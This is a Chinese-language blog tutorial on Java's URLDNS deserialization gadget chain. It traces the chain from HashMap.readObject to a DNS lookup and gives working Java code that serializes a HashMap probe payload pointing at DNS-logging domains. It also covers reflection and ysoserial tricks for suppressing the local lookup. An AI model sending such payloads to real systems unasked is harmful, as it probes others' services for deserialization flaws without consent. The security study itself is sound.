首页 > 其他分享 >URLDNS反序列化利用

URLDNS反序列化利用

时间:2024-03-20 20:36:18浏览次数:21  
标签:java HashMap URL getHostAddress 利用 URLDNS 序列化 方法

这是java的原生利用链,通常用于反序列化的验证,因为是原生态不存在版本限制

HashMap结合URL触发的DNS检查思路

利用链


HashMap --> readObject()

HashMap --> hash()

URL --> hashcode()

URL --> getByName()进行域名解析的函数

利用分析

首先新建一个DnsTester类,new一个HashMap对象和一个URL对象

import java.net.MalformedURLException;  
import java.net.URL;  
import java.util.HashMap;  
  
public class DnsTester {  
    public static void main(String[] args) throws MalformedURLException {  
        HashMap list = new HashMap<>();//新建HashMap对象
        URL host = new URL("http://yp1vwv.dnslog.cn");  
        list.put(host,"22");  
  
    }  
}

然后按住ctrl键,左键点击HashMap进入查看

点击查看结构窗口,然后找到readObject方法,找到下面有一个hash方法加密key

转到hash方法

可以看到传入hash方法中的是对象,然后使用对象的hashCode方法来进行加密

这条利用链用到的是URL类的hashCode方法

转到DnsTester类,然后ctrl+左键转到URL类中

找到hashCode方法,可以看到先是判断hashCode的值是不是-1,是的话就直接退出,不是的话就继续执行下面的代码

查看handler类中hashCode方法,ctrl+左键点击handler.hashCode()

这时候传入的是u,也就是我们一开始定义的URL对象

可以看到调用了URL对象的getHostAddress方法

转到getHostAddress方法

发现调用了InetAddress的getByName方法,这个方法的作用是通过DNS解析host的IP地址,利用链到这里就结束了

attention

但是我们需要的是需要将HashMap对象给序列化的,这样的话我们在反序列化前就会使用一次DNS解析,而这时候我们的本地就会有DNS记录,这时候我们将序列化的内容反序列化的时候就不会在dnslog平台产生请求记录了

解决方法:其实这个对远程的目标有什么影响,只是会影响本地的复现而已,而且使用新版本的burpsuite的collabrator也没什么影响

解决方式一:刷新本地dns记录

ipconfig /flushdns

解决方法二:使用反射修改hashCode的值

按照思路,只要在put方法之前将URL对象传入之前使用反射的方法将hashCode的值修改成非-1即可,代码实现如下:

import java.io.*;  
import java.lang.reflect.Field;  
import java.net.MalformedURLException;  
import java.net.URL;  
import java.util.HashMap;  
  
public class DnsTester {  
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {  
        HashMap list = new HashMap<>();  
        URL host = new URL("http://fyhgocmxl650362zx0g1cw4t5kbbz1nq.oastify.com");  
//添加反射,获取URL类中的HashCode方法  
        Class c = Class.forName("java.net.URL");  
        Field FieldhashCode = c.getDeclaredField("hashCode");  
        FieldhashCode.setAccessible(true);// 变量为 private 修改访问权限  
        FieldhashCode.set(host,1);//这里传入的是具体的URL对象和想要设置的值,只要不是-1就行  
        list.put(host,"22");//因为这时候hashCode不是-1,所以这时候就不会发生dns请求了  
        FieldhashCode.set(host,-1);//将值改过来  
//将HashMap对象list序列化写入文件  
        FileOutputStream fileOutputStream = new FileOutputStream("./ser.txt");  
        ObjectOutputStream serial = new ObjectOutputStream(fileOutputStream);  
        serial.writeObject(list);  
        serial.close();  
        fileOutputStream.close();  
    }  
}



重新新建一个java类文件写入反序列化代码,反序列化代码如下:

import java.io.FileInputStream;  
import java.io.FileNotFoundException;  
import java.io.IOException;  
import java.io.ObjectInputStream;  
  
public class DeSerial {  
    public static void main(String[] args) throws IOException, ClassNotFoundException {  
        FileInputStream fileInputStream = new FileInputStream("./ser.txt");  
        ObjectInputStream deserial = new ObjectInputStream(fileInputStream);  
        deserial.readObject();  
        deserial.close();  
        fileInputStream.close();  
    }  
}

先运行序列化的代码,然后运行反序列化代码

如上图运行成功

注意:对于java21来说不允许通过反射修改private,但是java8没问题

解决方法:使用ysoserial中的利用方式

参考:
https://paper.seebug.org/1242/#_2
https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54#44f36f80

yso在创建URL对象时使用了三个参数的构造方法。这里比较有意思的是,yso用了子类继承父类的方式规避了dns查询的风险,其创建了一个内部类:

static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

定义了一个URLConnection和getHostAddress方法,当调用put方法走到getHostAddress方法后,会调用SilentURLStreamHandler的getHostAddress而非URLStreamHandler的getHostAddress,这里直接return null了,所以自然也就不会产生dns查询。

那么为什么在反序列化时又可以产生dns查询了呢?是因为这里的handler属性被设置为transient,前面说了被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler。

总结

  • 总结一下寻找漏洞的流程
    1、hashmap类中的反序列化方法readObject方法中调用了hash方法
    2、hash方法调用了传入的键值key对象的hashcode方法,因为这个对象是Object类型,所以传入有hashcode方法的对象即可
    3、鼠标停在hashcode方法上,按快捷键ctrl+alt+F7,打开右上角的设置,选择找重写方法,选择查找范围为库,然后按alt+F7进行查找,最后找到java.net.URL中有用到hashcode
    4、找到hashcode方法是使用的handler对象的hashcode方法,handler对象是URLStreamHandler类的对象
    5、转到URLStreamHandler类中hashCode方法,发现里面使用了getHostAddress方法
    6、转到getHostAddress方法,发现方法u.getHostAddress(),u是URL对象,又返回到URL类中的getHostAddress()方法
    7、转到URL类中的getHostAddress()方法,发现InetAddress.getByName(host)
    8、上一步getByName方法就是做dns解析

流程图

hashmap(readObject)->hashmap(readObject-->>hash)
->hashmap(hash-->>[obj]hashcode)
->URL(hashcode-->>URLStreamHandler.hashcode)
->URLStreamHandler(hashcode-->>[InetAddress]getHostAddress)
->URLStreamHandler(getHostAddress-->>[URL]u.getHostAddress())
->URL(InetAddress.getByName)

POC构造思路
目的是让hashmap反序列化的时候将key的对象执行hashcode方法,
而且执行的还要是URL类中的方法,所以我们需要传入一个URL类型的键到hashmap对象

HashMap list = new HashMap<>();//新建HashMap对象
URL host = new URL("http://yp1vwv.dnslog.cn");  
list.put(host,"22"); 

标签:java,HashMap,URL,getHostAddress,利用,URLDNS,序列化,方法
From: https://www.cnblogs.com/cisbxh/p/18086004

相关文章

  • UNI APP 利用过滤器 解决后台返回带标签的内容时 图片过大的问题
    https://www.shanhubei.com/archives/51233.html后台返回的数据有时候没有过滤带标签,平时就只能v-html渲染出来,但是如里面有图片的话会出现图片过大超出屏幕的问题,那么普通的加样式已经不会生效了,就只能想办法来解决了。代码演示,解决办法呢,也很简单、只要利用好过滤器就好了。......
  • 利用ssh隧道提升 feign 调用开发效率
    问题描述springcloud架构下,微服务间很多是通过feign进行调用的。作为一家小公司,很多微服务在开发环境没有部署实例,这就导致,想在本地做开发调试,要花精力起很多依赖服务。耗时费力。解决办法1、利用ssh隧道,让办公网可以访问测试环境(阿里云、默认不开放端口)的微服务。ssh-f......
  • C# 中使对象序列化/反序列化 Json 支持使用派生类型以及泛型的方式
    C#中使对象序列化/反序列化Json支持使用派生类型以及泛型方式废话#前言#为啥想写这个博客最近自己写的框架有用到这个类似工作流,支持节点编码自定义,动态运行自定义.尽量减少动态解析这就需要确定类型.有什么好的奇思妙想可以一起来讨论噢(现在还是毛坯,测......
  • 利用CrewAI框架打造高效自动化周报系统:告别手动报告,迎接智能协作
    在日常工作中,编写个人和团队的工作周报是一项既繁琐又枯燥的任务。幸运的是,这种场景非常适合利用人工智能(AI)技术来简化。尽管市面上已有多种基于GPT的智能体,如国内的文心一言、讯飞星火、智谱清言等,它们能够对用户提供的内容进行总结,但如果没有用户输入,它们便无法凭空创造内容......
  • GEE高阶案例——利用eemont进行ee.Number对象类的运算(加减成熟运算公式)
    本教程的主要目的是利用eemont包对数字对象进行分析 代码!pipinstalleemont!pipinstallgeemapimportee,eemont,geemapimportgeemap.colormapsascm进行EE验证 验证并初始化地球引擎和地球地图。 Map=geemap.Map()让我们定义一些ee.Number对象作为近......
  • GEE高阶应用——如何绘制2000-2022年土地利用变化轨迹时序图
    简介土地利用变化是指在一定时间范围内,土地利用类型和结构发生的变化。时序变化是指这种变化随时间的推移而发生的序列变化。土地利用变化轨迹的时序变化具体介绍如下:首先,土地利用变化轨迹的时序变化体现在土地利用类型的演变上。在过去的几十年里,随着人口的增加、经济的发展......
  • 记SPF反邮件伪造技术及漏洞利用学习
    通过其他师傅那边了解到了邮件伪造漏洞,于是开始了解SPF反邮件伪造技术以及邮件伪造漏洞利用,特此对学习到的内容做一个梳理。一、SPF概念及配置方式SPF这个东西的全名是发送者策略框架(SenderPolicyFramework,SPF),是一个电子邮件验证的机制。SPF记录实际上是服务器上的一个D......
  • 利用Scala与Apache HttpClient实现网络音频流的抓取
    概述在当今数字化时代,网络数据的抓取和处理已成为许多应用程序和服务的重要组成部分。本文将介绍如何利用Scala编程语言结合ApacheHttpClient工具库实现网络音频流的抓取。通过本文,读者将学习如何利用强大的Scala语言和ApacheHttpClient库来抓取网络上的音频数据,以及如......
  • 数据库中利用二进制实现多个布尔属性的增删改查
    需求背景业务场景中经常需要一些布尔型的属性来标记数据状态,如果每个属性值都新增一个数据库字段来保存会造成空间上的浪费,在工作中进行建模设计时难免会想到用二进制来节省空间,以整形32位为例,去除最高位的符号位总共可以用来保存31个布尔属性值。实现细节为方便讲解,这里......
  • 资源加载和序列化
    一切加载最后都要跑到LoadPackageInternal:创建Linker序列化(LoadAllObjects){ FUObjectSerializeContext*InOutLoadContext=LoadContext; Linker=GetPackageLinker(InOuter,PackagePath,LoadFlags,nullptr,InReaderOverride,&InOutLoadContext,ImportLinker,In......